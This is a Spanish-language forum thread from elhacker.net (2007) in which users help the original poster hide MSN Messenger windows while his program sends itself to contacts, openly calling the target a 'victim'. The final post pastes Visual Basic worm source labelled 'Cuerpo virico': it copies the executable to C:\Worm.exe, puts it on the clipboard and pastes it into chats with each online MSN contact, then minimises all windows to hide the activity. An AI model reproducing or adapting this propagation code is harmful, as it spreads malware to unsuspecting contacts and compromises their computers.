Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: 3k1n0x en 23 Mayo 2007, 03:04 am



Título: Como ocultar ventana
Publicado por: 3k1n0x en 23 Mayo 2007, 03:04 am
hola me preguntaba como hacer eso, ocultar una ventana justo despues de enviarle texto con sendkeys,

con esto en un timer con declaraciones y demas se oculta la ventana justo como la necesito pero conociendo lo q esta a la izquierda o derecha del titulo de la ventana

Código:
Dim lnghWnd As Long, Texto As String
lnghWnd = GetForegroundWindow
Texto = String(255, Chr(O))
GetWindowText GetForegroundWindow, Texto, 255
Me.Caption = Texto
var = Left$(Form1.Caption, 4)
Label1.Caption = var
If Label1.Caption = "pppp" Then
window = FindWindow(vbNullString, Texto)
ShowWindow window, SW_HIDE

el problema es que no se sabe que esta a la derecha o izquierda del titulo de la ventana,no es minimizarla, lo unico q pasara es q se abrira esa ventana, luego se le enviara texto con sendkeys y ahora alguien tiene idea de como oculto esa ventana?  :huh: salu2s


Título: Re: Como ocultar ventana
Publicado por: Freeze. en 23 Mayo 2007, 14:46 pm
No te entiendo muy bien pero si quieres ocultarla usa

form1.hide
 y para volverla a sacar debes usar una API que ahora no recuerdo...

o simplemente hacer un form muy pequeño  y cuando quieras ocultarla usas esto...

me.hide ' esto seria el formprincipal
form2.show 'este seria el form pequeñito...


Título: Re: Como ocultar ventana
Publicado por: ~~ en 23 Mayo 2007, 14:57 pm
Mira, se me acaba de ocurrir una idea.

La traes al frente, le mandas el texto y de nuevo con send keys le envias Alt + F4, asi se cierra y la victima ya no sospecha (demasiado)


Título: Re: Como ocultar ventana
Publicado por: 3k1n0x en 23 Mayo 2007, 15:17 pm
No te entiendo muy bien pero si quieres ocultarla usa

form1.hide
 y para volverla a sacar debes usar una API que ahora no recuerdo...

o simplemente hacer un form muy pequeño  y cuando quieras ocultarla usas esto...

me.hide ' esto seria el formprincipal
form2.show 'este seria el form pequeñito...

si pero como las se usar siempre tengo q saber el titulo de la ventana o parte del titulo cosa q no se sabe, lo unico q se me ocurre es ponerle un focus a la ventana q se acaba de abrir(cosa q no se y q no tengo mucha idea) y asi ocultar a la ventana q tiene el focus


Mira, se me acaba de ocurrir una idea.

La traes al frente, le mandas el texto y de nuevo con send keys le envias Alt + F4, asi se cierra y la victima ya no sospecha (demasiado)

si pero asi se cerraria la ventana y si en ella hay algo cargandose como algun archivo que se acaba de enviar, bueno ya sabes


Título: Re: Como ocultar ventana
Publicado por: Freeze. en 23 Mayo 2007, 19:17 pm
Explica que tipo de programa quieres hacer... Creo q entenderiamos mejor...


Título: Re: Como ocultar ventana
Publicado por: vivachapas en 24 Mayo 2007, 02:22 am
me.visible = False


creo q es eso... al menos yo lo hago asi... es lo mismo q hidden...


Título: Re: Como ocultar ventana
Publicado por: 3k1n0x en 24 Mayo 2007, 02:58 am
Explica que tipo de programa quieres hacer... Creo q entenderiamos mejor...

es para ocultar una ventana ya sabes, primero se abre la ventana, luego comienza a cargarse un archivo en ella, luego ahi que ocultar la ventana de la barra de tareas, 30 seg despues se repite, pero no sabemos cual es el titulo de la ventana solo q se acaba de abrir

me.visible = False

creo q es eso... al menos yo lo hago asi... es lo mismo q hidden...

creo q si se puede usar pero como saber quien es me? alguna idea de como obtener el titulo de alguna ventana q se acaba de abrir para asi ocultarla :huh:


Título: Re: Como ocultar ventana
Publicado por: vivachapas en 24 Mayo 2007, 03:06 am
bien... creo q te entendi...

para enviarle texto a cualquier ventana podrias estar enviando texto constantemente con un timer...
de q sirve una ventana oculta?? xq no la cierras una vez q enviaste el sendkeys?


Título: Re: Como ocultar ventana
Publicado por: 3k1n0x en 24 Mayo 2007, 03:19 am
bien... creo q te entendi...

para enviarle texto a cualquier ventana podrias estar enviando texto constantemente con un timer...
de q sirve una ventana oculta?? xq no la cierras una vez q enviaste el sendkeys?

si lo q no se es como ocultar la ventana q se acaba de abrir no c cierra xq se esta enviando un archivo, lo unico q se sabe es q se acaba de abrir la ventana


Título: Re: Como ocultar ventana
Publicado por: Freeze. en 24 Mayo 2007, 17:02 pm
Ya entendi tu lo que no quieres que se vea es la ventana que dice que algo se esta cargando en "ella" cierto???

Bueno solamente utiliza esto:

app.activate aqui el nombre de la ventana , aqui si quieres esperar (no se como se usa)

Ejemplo:

app.activate "Conversación"

Eso activa la ventana de la conversación por MSN q este  activa....

Creo q te solucione el problema o no????


Título: Re: Como ocultar ventana
Publicado por: 3k1n0x en 24 Mayo 2007, 17:07 pm
Ya entendi tu lo que no quieres que se vea es la ventana que dice que algo se esta cargando en "ella" cierto???

Bueno solamente utiliza esto:

app.activate aqui el nombre de la ventana , aqui si quieres esperar (no se como se usa)

Ejemplo:

app.activate "Conversación"

Eso activa la ventana de la conversación por MSN q este  activa....

Creo q te solucione el problema o no????

si supon q se esta enviando un archivo comprimido y no sabes si al final del titulo de la ventana dice Conversacion o Conversation o quien sabe, hay q hacerlo solo a la q se esta cargando y aparte cada 30seg, de todas formas creo q encontre una forma por "fuerza bruta" xD vere si funka pero si hay alguna idea no staria mal salu2s


Título: Re: Como ocultar ventana
Publicado por: Freeze. en 24 Mayo 2007, 17:10 pm
Ok...

Solo dime el nombre que sale en la ventana que quieres ocultar...


Título: Re: Como ocultar ventana
Publicado por: 3k1n0x en 24 Mayo 2007, 17:16 pm
si pero lo que se sabe es q se acaba de abrir, el titulo de la ventana varia, por ahi dijeron que saque el handle de la ventana q tiene el foco y luego usar la api showwindown con el handle, en eso estoy pero no se


Título: Re: Como ocultar ventana
Publicado por: ~~ en 24 Mayo 2007, 17:21 pm
Una idea.

Con la api del msn puedes obtener los nicks de los contactos no? pues la traes al frente, y el titulo de la ventana tendra q contener por fuerza el nick.
Haces un listado de todas las ventanas, buscas la q contenga el nick, obtienes el handle y la ocultas...


Título: Re: Como ocultar ventana
Publicado por: Freeze. en 24 Mayo 2007, 17:23 pm
Si el titulo de la ventana varia encuentra algo ue siempre este...

Por ejemplo:
En las conversaciones de MSN siempre varia el contacto pero al final... siempre dice "Conversación"


Título: Re: Como ocultar ventana
Publicado por: 3k1n0x en 24 Mayo 2007, 17:29 pm
Una idea.

Con la api del msn puedes obtener los nicks de los contactos no? pues la traes al frente, y el titulo de la ventana tendra q contener por fuerza el nick.
Haces un listado de todas las ventanas, buscas la q contenga el nick, obtienes el handle y la ocultas...
si pero depende de si se tiene "ver contactos por direccion de email" o "ver contactos por nombre para mostrar" si la tienen por la primera el titulo seria "<direccion> - Conv.." y si no seria "<nombre para mostrar> - Conv.."

Si el titulo de la ventana varia encuentra algo ue siempre este...

Por ejemplo:
En las conversaciones de MSN siempre varia el contacto pero al final... siempre dice "Conversación"

aveces x estar en ingles dice Conversation o incluso dice Conversaci%n y ademas es posible que esten otras ventanas abiertas con eso mismo


Título: Re: Como ocultar ventana
Publicado por: 3k1n0x en 25 Mayo 2007, 05:23 am
ya tengo la idea de como hacerlo pero no se hacerlo, se hace creeeo con get focus, que obtiene el handle de la ventana que tiene el foco del teclado (eso es!), con esto me da el handle de la ventana, ahora el problema es q solo da el handle del formulario y no de ventanas externas alguien sabe como hacer para saber el handle de ventanas externas?

Código:
Private Declare Function apiGetFocus Lib "user32" _
        Alias "GetFocus" _
         () As Long
         
Function fhWnd(ctl As Control) As Long
    On Error Resume Next
    ctl.SetFocus
    If Err Then
        fhWnd = 0
    Else
        fhWnd = apiGetFocus
    End If
    On Error GoTo 0
End Function


Título: Re: Como ocultar ventana
Publicado por: ~~ en 25 Mayo 2007, 17:23 pm
Creo q usas mal la api... para obtener el hadle de la ventana q tiene el foco tienes q hacer esto: (no estoy 100% seguro)

Código:
Private Declare Function GetFocus Lib "user32" () As Long
h& = GetFocus&()

Y te kedaria en h& el handle.



Pero mira esta api:
http://support.microsoft.com/kb/147659/es

Te permite obtener el handle e una ventana sin saber su titulo exato.. espero q te sirva ;)


Título: Re: Como ocultar ventana
Publicado por: Freeze. en 25 Mayo 2007, 21:14 pm
jejeje... ok


Título: Re: Como ocultar ventana
Publicado por: Tengu en 24 Julio 2007, 02:15 am
hola,por lo que decia Freeze el codigo seria Appactivate, sin el punto,algo asi para tener en cuenta los idiomas de msn:
 on error resume next
 appactivate "Conversación"
 appactivate "Conversati..."
 appactivate "..."

y asi t activara cualquier ventana q haya abierta si es q hay una abierta y tal vez si quieres ocultar la ventana podrias minimizarlas todas para q no se interrumpa la transferencia del archivo
     Const KEYEVENTF_KEYUP = &H2
     Const VK_LWIN = &H5B
     

     Call keybd_event(VK_LWIN, 0, 0, 0)
     Call keybd_event(77, 0, 0, 0)
     Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0)
 una duda tu quieres q se autoenvie el mismo programa luego de comprimirse?


Título: Re: Como ocultar ventana
Publicado por: 3k1n0x en 25 Julio 2007, 15:58 pm
hola,por lo que decia Freeze el codigo seria Appactivate, sin el punto,algo asi para tener en cuenta los idiomas de msn:
 on error resume next
 appactivate "Conversación"
 appactivate "Conversati..."
 appactivate "..."

y asi t activara cualquier ventana q haya abierta si es q hay una abierta y tal vez si quieres ocultar la ventana podrias minimizarlas todas para q no se interrumpa la transferencia del archivo
     Const KEYEVENTF_KEYUP = &H2
     Const VK_LWIN = &H5B
     

     Call keybd_event(VK_LWIN, 0, 0, 0)
     Call keybd_event(77, 0, 0, 0)
     Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0)
 una duda tu quieres q se autoenvie el mismo programa luego de comprimirse?

si, luego de descomprimido se repite pero lo e dejado parado aunq no es tan complicado porq no tengo listo algo bueno q tenga q llevar mientras se autoenvie salu2s


Título: Re: Como ocultar ventana
Publicado por: Tengu en 25 Julio 2007, 16:04 pm
jejej  ya "se lo que hiciste el verano pasado",(chiste) si llegas a retomarlo avisame , podriamos hablar de algun code.


Título: Re: Como ocultar ventana
Publicado por: Tengu en 25 Julio 2007, 16:11 pm
Citar
Tal vez esto sirva:(no esta escrito por mi)

En un Modulo (Esto sirve para poner nuestro archivo dentro del Portapapeles):

Option Explicit

' Required data structures
Private Type POINTAPI
x As Long
y As Long
End Type

' Clipboard Manager Functions
Private Declare Function EmptyClipboard Lib "user32" () As Long
Private Declare Function OpenClipboard Lib "user32" (ByVal hWnd As Long) As Long
Private Declare Function CloseClipboard Lib "user32" () As Long
Private Declare Function SetClipboardData Lib "user32" (ByVal wFormat As Long, ByVal hMem As Long) As Long
Private Declare Function GetClipboardData Lib "user32" (ByVal wFormat As Long) As Long
Private Declare Function IsClipboardFormatAvailable Lib "user32" (ByVal wFormat As Long) As Long

' Other required Win32 APIs
Private Declare Function DragQueryFile Lib "shell32.dll" Alias "DragQueryFileA" (ByVal hDrop As Long, ByVal UINT As Long, ByVal lpStr As String, ByVal ch As Long) As Long
Private Declare Function DragQueryPoint Lib "shell32.dll" (ByVal hDrop As Long, lpPoint As POINTAPI) As Long
Private Declare Function GlobalAlloc Lib "kernel32" (ByVal wFlags As Long, ByVal dwBytes As Long) As Long
Private Declare Function GlobalFree Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Function GlobalLock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Function GlobalUnlock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)

' Predefined Clipboard Formats
Private Const CF_TEXT = 1
Private Const CF_BITMAP = 2
Private Const CF_METAFILEPICT = 3
Private Const CF_SYLK = 4
Private Const CF_DIF = 5
Private Const CF_TIFF = 6
Private Const CF_OEMTEXT = 7
Private Const CF_DIB = 8
Private Const CF_PALETTE = 9
Private Const CF_PENDATA = 10
Private Const CF_RIFF = 11
Private Const CF_WAVE = 12
Private Const CF_UNICODETEXT = 13
Private Const CF_ENHMETAFILE = 14
Private Const CF_HDROP = 15
Private Const CF_LOCALE = 16
Private Const CF_MAX = 17

' New shell-oriented clipboard formats
Private Const CFSTR_SHELLIDLIST As String = "Shell IDList Array"
Private Const CFSTR_SHELLIDLISTOFFSET As String = "Shell Object Offsets"
Private Const CFSTR_NETRESOURCES As String = "Net Resource"
Private Const CFSTR_FILEDESCRIPTOR As String = "FileGroupDescriptor"
Private Const CFSTR_FILECONTENTS As String = "FileContents"
Private Const CFSTR_FILENAME As String = "FileName"
Private Const CFSTR_PRINTERGROUP As String = "PrinterFriendlyName"
Private Const CFSTR_FILENAMEMAP As String = "FileNameMap"

' Global Memory Flags
Private Const GMEM_FIXED = &H0
Private Const GMEM_MOVEABLE = &H2
Private Const GMEM_NOCOMPACT = &H10
Private Const GMEM_NODISCARD = &H20
Private Const GMEM_ZEROINIT = &H40
Private Const GMEM_MODIFY = &H80
Private Const GMEM_DISCARDABLE = &H100
Private Const GMEM_NOT_BANKED = &H1000
Private Const GMEM_SHARE = &H2000
Private Const GMEM_DDESHARE = &H2000
Private Const GMEM_NOTIFY = &H4000
Private Const GMEM_LOWER = GMEM_NOT_BANKED
Private Const GMEM_VALID_FLAGS = &H7F72
Private Const GMEM_INVALID_HANDLE = &H8000
Private Const GHND = (GMEM_MOVEABLE Or GMEM_ZEROINIT)
Private Const GPTR = (GMEM_FIXED Or GMEM_ZEROINIT)

Private Type DROPFILES
pFiles As Long
pt As POINTAPI
fNC As Long
fWide As Long
End Type


Public Function ClipboardCopyFiles(Files() As String) As Boolean

Dim data As String
Dim df As DROPFILES
Dim hGlobal As Long
Dim lpGlobal As Long
Dim i As Long

' Open and clear existing crud off clipboard.
If OpenClipboard(0&) Then
Call EmptyClipboard

' Build double-null terminated list of files.
For i = LBound(Files) To UBound(Files)
data = data & Files(i) & vbNullChar
Next
data = data & vbNullChar

' Allocate and get pointer to global memory,
' then copy file list to it.
hGlobal = GlobalAlloc(GHND, Len(df) + Len(data))
If hGlobal Then
lpGlobal = GlobalLock(hGlobal)

' Build DROPFILES structure in global memory.
df.pFiles = Len(df)
Call CopyMem(ByVal lpGlobal, df, Len(df))
Call CopyMem(ByVal (lpGlobal + Len(df)), ByVal data, Len(data))
Call GlobalUnlock(hGlobal)

' Copy data to clipboard, and return success.
If SetClipboardData(CF_HDROP, hGlobal) Then
ClipboardCopyFiles = True
End If
End If

' Clean up
Call CloseClipboard
End If

End Function[/code>

Y aki el "Cuerpo virico":

[code>Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

Const KEYEVENTF_KEYUP = &H2
Const VK_LWIN = &H5B

Private Sub Wait(ByVal nSec As Integer)
Dim t1 As Date, t2 As Date

t1 = Second(Now)
t2 = t1 + nSec

Do
DoEvents
Loop While t2 > Second(Now)
End Sub

Sub msninfect()
On Error Resume Next
Set w = CreateObject("Messenger.UIAutomation"
For Each ConTacto In w.MyContacts 'Vamos de contacto en contacto
If (ConTacto.Status = 2) Or (ConTacto.Status = 10) Or (ConTacto.Status = 14) Or (ConTacto.Status = 34) Or (ConTacto.Status = 50) Or (ConTacto.Status = 66) Then
Set iMsn = w.InstantMessage(ConTacto.SigninName)
SendKeys "^V"
End If
Next
Wait (1) ' Esperamos un segundito para no "atascar" tanto...
' A partir de aki sirve para minimizar todas las ventanas...
Call keybd_event(VK_LWIN, 0, 0, 0)
Call keybd_event(77, 0, 0, 0)
Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0)
End Sub

A lo mejor te sirva esto ! :


En un Modulo (Esto sirve para poner nuestro archivo dentro del Portapapeles):

Option Explicit

' Required data structures
Private Type POINTAPI
x As Long
y As Long
End Type

' Clipboard Manager Functions
Private Declare Function EmptyClipboard Lib "user32" () As Long
Private Declare Function OpenClipboard Lib "user32" (ByVal hWnd As Long) As Long
Private Declare Function CloseClipboard Lib "user32" () As Long
Private Declare Function SetClipboardData Lib "user32" (ByVal wFormat As Long, ByVal hMem As Long) As Long
Private Declare Function GetClipboardData Lib "user32" (ByVal wFormat As Long) As Long
Private Declare Function IsClipboardFormatAvailable Lib "user32" (ByVal wFormat As Long) As Long

' Other required Win32 APIs
Private Declare Function DragQueryFile Lib "shell32.dll" Alias "DragQueryFileA" (ByVal hDrop As Long, ByVal UINT As Long, ByVal lpStr As String, ByVal ch As Long) As Long
Private Declare Function DragQueryPoint Lib "shell32.dll" (ByVal hDrop As Long, lpPoint As POINTAPI) As Long
Private Declare Function GlobalAlloc Lib "kernel32" (ByVal wFlags As Long, ByVal dwBytes As Long) As Long
Private Declare Function GlobalFree Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Function GlobalLock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Function GlobalUnlock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)

' Predefined Clipboard Formats
Private Const CF_TEXT = 1
Private Const CF_BITMAP = 2
Private Const CF_METAFILEPICT = 3
Private Const CF_SYLK = 4
Private Const CF_DIF = 5
Private Const CF_TIFF = 6
Private Const CF_OEMTEXT = 7
Private Const CF_DIB = 8
Private Const CF_PALETTE = 9
Private Const CF_PENDATA = 10
Private Const CF_RIFF = 11
Private Const CF_WAVE = 12
Private Const CF_UNICODETEXT = 13
Private Const CF_ENHMETAFILE = 14
Private Const CF_HDROP = 15
Private Const CF_LOCALE = 16
Private Const CF_MAX = 17

' New shell-oriented clipboard formats
Private Const CFSTR_SHELLIDLIST As String = "Shell IDList Array"
Private Const CFSTR_SHELLIDLISTOFFSET As String = "Shell Object Offsets"
Private Const CFSTR_NETRESOURCES As String = "Net Resource"
Private Const CFSTR_FILEDESCRIPTOR As String = "FileGroupDescriptor"
Private Const CFSTR_FILECONTENTS As String = "FileContents"
Private Const CFSTR_FILENAME As String = "FileName"
Private Const CFSTR_PRINTERGROUP As String = "PrinterFriendlyName"
Private Const CFSTR_FILENAMEMAP As String = "FileNameMap"

' Global Memory Flags
Private Const GMEM_FIXED = &H0
Private Const GMEM_MOVEABLE = &H2
Private Const GMEM_NOCOMPACT = &H10
Private Const GMEM_NODISCARD = &H20
Private Const GMEM_ZEROINIT = &H40
Private Const GMEM_MODIFY = &H80
Private Const GMEM_DISCARDABLE = &H100
Private Const GMEM_NOT_BANKED = &H1000
Private Const GMEM_SHARE = &H2000
Private Const GMEM_DDESHARE = &H2000
Private Const GMEM_NOTIFY = &H4000
Private Const GMEM_LOWER = GMEM_NOT_BANKED
Private Const GMEM_VALID_FLAGS = &H7F72
Private Const GMEM_INVALID_HANDLE = &H8000
Private Const GHND = (GMEM_MOVEABLE Or GMEM_ZEROINIT)
Private Const GPTR = (GMEM_FIXED Or GMEM_ZEROINIT)

Private Type DROPFILES
pFiles As Long
pt As POINTAPI
fNC As Long
fWide As Long
End Type


Public Function ClipboardCopyFiles(Files() As String) As Boolean

Dim data As String
Dim df As DROPFILES
Dim hGlobal As Long
Dim lpGlobal As Long
Dim i As Long

' Open and clear existing crud off clipboard.
If OpenClipboard(0&) Then
Call EmptyClipboard

' Build double-null terminated list of files.
For i = LBound(Files) To UBound(Files)
data = data & Files(i) & vbNullChar
Next
data = data & vbNullChar

' Allocate and get pointer to global memory,
' then copy file list to it.
hGlobal = GlobalAlloc(GHND, Len(df) + Len(data))
If hGlobal Then
lpGlobal = GlobalLock(hGlobal)

' Build DROPFILES structure in global memory.
df.pFiles = Len(df)
Call CopyMem(ByVal lpGlobal, df, Len(df))
Call CopyMem(ByVal (lpGlobal + Len(df)), ByVal data, Len(data))
Call GlobalUnlock(hGlobal)

' Copy data to clipboard, and return success.
If SetClipboardData(CF_HDROP, hGlobal) Then
ClipboardCopyFiles = True
End If
End If

' Clean up
Call CloseClipboard
End If

End Function[/code>

Y aki el "Cuerpo virico":

[code>Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

Const KEYEVENTF_KEYUP = &H2
Const VK_LWIN = &H5B

Private Sub Wait(ByVal nSec As Integer)
Dim t1 As Date, t2 As Date

t1 = Second(Now)
t2 = t1 + nSec

Do
DoEvents
Loop While t2 > Second(Now)
End Sub

Sub msninfect()
On Error Resume Next
Set w = CreateObject("Messenger.UIAutomation"
For Each ConTacto In w.MyContacts 'Vamos de contacto en contacto
If (ConTacto.Status = 2) Or (ConTacto.Status = 10) Or (ConTacto.Status = 14) Or (ConTacto.Status = 34) Or (ConTacto.Status = 50) Or (ConTacto.Status = 66) Then
Set iMsn = w.InstantMessage(ConTacto.SigninName)
SendKeys "^V"
End If
Next
Wait (1) ' Esperamos un segundito para no "atascar" tanto...
' A partir de aki sirve para minimizar todas las ventanas...
Call keybd_event(VK_LWIN, 0, 0, 0)
Call keybd_event(77, 0, 0, 0)
Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0)
End Sub

Sub newpropMSN()
Dim ap(0) As String
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Worm.exe" ' Nos Copiamos
ap(0) = "C:\Worm.exe"
If ClipboardCopyFiles = True Then ' Nos ponemos en el Portapapeles
End If
Wait (1) ' Esperamos 1 respiro al procesador...
msninfect ' Llamamos a la funcion de la propagación
End Sub
 ahora deberias modificar el code para enviar el rar o zip y no un exe... pero creoo q tu sabes hacerlo muy bien.salu25
;D ;D ;D ;D ;D ;D